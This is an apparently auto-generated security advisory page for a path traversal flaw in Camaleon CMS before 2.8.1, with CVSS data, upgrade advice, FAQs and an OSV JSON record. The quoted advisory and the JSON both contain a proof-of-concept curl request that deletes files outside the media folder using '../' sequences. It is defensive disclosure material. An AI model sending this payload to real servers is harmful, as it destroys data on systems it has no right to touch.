GHSA-7x4w-cj9r-h4v9: Camaleon cms Remote Code Execution Vulnerability

HIGH
CVSS 7.2
CWE-22
Published
Advisory Summary

GHSA-7x4w-cj9r-h4v9 is a HIGH (CVSS 7.2) remote code execution vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Camaleon cms libraries in the RubyGems ecosystem. The issue involves camaleon cms vulnerable to remote code execution through code injection (ghsl-2024-185). Remediation is available by upgrading affected packages to version 2.8.1.

GHSA-7x4w-cj9r-h4v9 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-7x4w-cj9r-h4v9
Severity HIGH
CVSS v3.1 Base Score 7.2
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Camaleon cms
Package Ecosystem RubyGems
Published Date
Last Updated

Security Impact

CVSS: 7.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix GHSA-7x4w-cj9r-h4v9

To remediate this vulnerability, upgrade all affected Camaleon cms dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

camaleon_cms fixed: 2.8.1
Upgrade camaleon_cms to 2.8.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for camaleon_cms

How to Check if You Are Affected

To determine whether your application is affected by GHSA-7x4w-cj9r-h4v9, inspect your project dependencies for Camaleon cms:

inspect dependencies for camaleon_cms

Analyze the terminal output to locate any version of Camaleon cms in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.8.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Camaleon cms, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

The [actions](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L51-L52) defined inside of the MediaController class do not check whether a given path is inside a certain path (e.g. inside the media folder). If an attacker performed an account takeover of an administrator account (See: GHSL-2024-184) they could delete arbitrary files or folders on the server hosting Camaleon CMS. The [crop_url](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L64-L65) action might make arbitrary file writes (similar impact to GHSL-2024-182) for any authenticated user possible, but it doesn't seem to work currently. Arbitrary file deletion can be exploited with following code path: The parameter folder flows from the actions method: ```ruby def actions authorize! :manage, :media if params[:media_action] != 'crop_url' params[:folder] = params[:folder].gsub('//', '/') if params[:folder].present? case params[:media_action] [..] when 'del_file' cama_uploader.delete_file(params[:folder].gsub('//', '/')) render plain: '' ``` into the method delete_file of the CamaleonCmsLocalUploader class (when files are uploaded locally): ```ruby def delete_file(key) file = File.join(@root_folder, key) FileUtils.rm(file) if File.exist? file @instance.hooks_run('after_delete', key) get_media_collection.find_by_key(key).take.destroy end ``` Where it is joined in an unchecked manner with the root folder and then deleted. **Proof of concept** The following request would delete the file README.md in the top folder of the Ruby on Rails application. (The values for auth_token, X-CSRF-Token and _cms_session would also need to be replaced with authenticated values in the curl command below) ``` curl --path-as-is -i -s -k -X $'POST' \ -H $'X-CSRF-Token: [..]' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' -H $'Connection: keep-alive' \ -b $'auth_token=[..]; _cms_session=[..]' \ --data-binary $'versions=&thumb_size=&formats=&media_formats=&dimension=&private=&folder=..%2F..%2F..%2FREADME.md&media_action=del_file' \ $'https://<camaleon-host>/admin/media/actions?actions=true' ``` **Impact** This issue may lead to a defective CMS or system. **Remediation** Normalize all file paths constructed from untrusted user input before using them and check that the resulting path is inside the targeted directory. Additionally, do not allow character sequences such as .. in untrusted input that is used to build paths. **See also:** [CodeQL: Uncontrolled data used in path expression](https://codeql.github.com/codeql-query-help/ruby/rb-path-injection/) [OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)

GHSA-7x4w-cj9r-h4v9 Affected Camaleon cms Versions

1 component(s)
Fixed Versions:
2.8.1
Product / Package Ecosystem Affected Versions Fixed Version
camaleon_cms
RubyGems
< 2.8.1
2.8.1

References

Frequently Asked Questions

What is GHSA-7x4w-cj9r-h4v9?
GHSA-7x4w-cj9r-h4v9 is a security vulnerability in Camaleon cms involving Camaleon CMS vulnerable to remote code execution through code injection (GHSL-2024-185) under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Camaleon cms versions are affected?
Affected versions include releases prior to 2.8.1 across affected packages: camaleon_cms.
What version fixes GHSA-7x4w-cj9r-h4v9?
Upgrading to 2.8.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is camaleon_cms affected?
Yes, camaleon_cms is affected in releases prior to 2.8.1. Upgrade your dependency to 2.8.1 or later.
What is the CVSS score of GHSA-7x4w-cj9r-h4v9?
GHSA-7x4w-cj9r-h4v9 has a CVSS v3.1 base score of 7.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with GHSA-7x4w-cj9r-h4v9?
GHSA-7x4w-cj9r-h4v9 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check RubyGems dependencies for GHSA-7x4w-cj9r-h4v9?
Run the dependency tree command: 'inspect dependencies for camaleon_cms'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7x4w-cj9r-h4v9",
  "modified" : "2025-05-23T19:12:59Z",
  "published" : "2024-09-18T15:47:07Z",
  "aliases" : [ ],
  "summary" : "Camaleon CMS vulnerable to remote code execution through code injection (GHSL-2024-185)",
  "details" : "The [actions](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L51-L52) defined inside of the MediaController class do not check whether a given path is inside a certain path (e.g. inside the media folder). If an attacker performed an account takeover of an administrator account (See: GHSL-2024-184) they could delete arbitrary files or folders on the server hosting Camaleon CMS. The [crop_url](https://github.com/owen2345/camaleon-cms/blob/feccb96e542319ed608acd3a16fa5d92f13ede67/app/controllers/camaleon_cms/admin/media_controller.rb#L64-L65) action might make arbitrary file writes (similar impact to GHSL-2024-182) for any authenticated user possible, but it doesn't seem to work currently.\n\nArbitrary file deletion can be exploited with following code path: The parameter folder flows from the actions method:\n```ruby\n  def actions\n    authorize! :manage, :media if params[:media_action] != 'crop_url'\n    params[:folder] = params[:folder].gsub('//', '/') if params[:folder].present?\n    case params[:media_action]\n    [..]\n    when 'del_file'\n      cama_uploader.delete_file(params[:folder].gsub('//', '/'))\n      render plain: ''\n```\ninto the method delete_file of the CamaleonCmsLocalUploader class (when files are uploaded locally):\n```ruby\ndef delete_file(key)\n  file = File.join(@root_folder, key)\n  FileUtils.rm(file) if File.exist? file\n  @instance.hooks_run('after_delete', key)\n  get_media_collection.find_by_key(key).take.destroy\nend\n```\nWhere it is joined in an unchecked manner with the root folder and then deleted.\n\n**Proof of concept**\nThe following request would delete the file README.md in the top folder of the Ruby on Rails application. (The values for auth_token, X-CSRF-Token and _cms_session would also need to be replaced with authenticated values in the curl command below)\n```\ncurl --path-as-is -i -s -k -X $'POST' \\\n    -H $'X-CSRF-Token: [..]' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' -H $'Connection: keep-alive' \\\n    -b $'auth_token=[..]; _cms_session=[..]' \\\n    --data-binary $'versions=&thumb_size=&formats=&media_formats=&dimension=&private=&folder=..%2F..%2F..%2FREADME.md&media_action=del_file' \\\n    $'https://<camaleon-host>/admin/media/actions?actions=true'\n```\n**Impact**\nThis issue may lead to a defective CMS or system.\n\n**Remediation**\nNormalize all file paths constructed from untrusted user input before using them and check that the resulting path is inside the targeted directory. Additionally, do not allow character sequences such as .. in untrusted input that is used to build paths.\n\n**See also:**\n\n[CodeQL: Uncontrolled data used in path expression](https://codeql.github.com/codeql-query-help/ruby/rb-path-injection/)\n[OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "camaleon_cms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.8.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/owen2345/camaleon-cms/security/advisories/GHSA-7x4w-cj9r-h4v9"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/owen2345/camaleon-cms/commit/f5d032549fa0a204d06e738caf2663607967dee2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/owen2345/camaleon-cms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/camaleon_cms/GHSA-7x4w-cj9r-h4v9.yml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-09-18T15:47:07Z",
    "nvd_published_at" : null
  }
}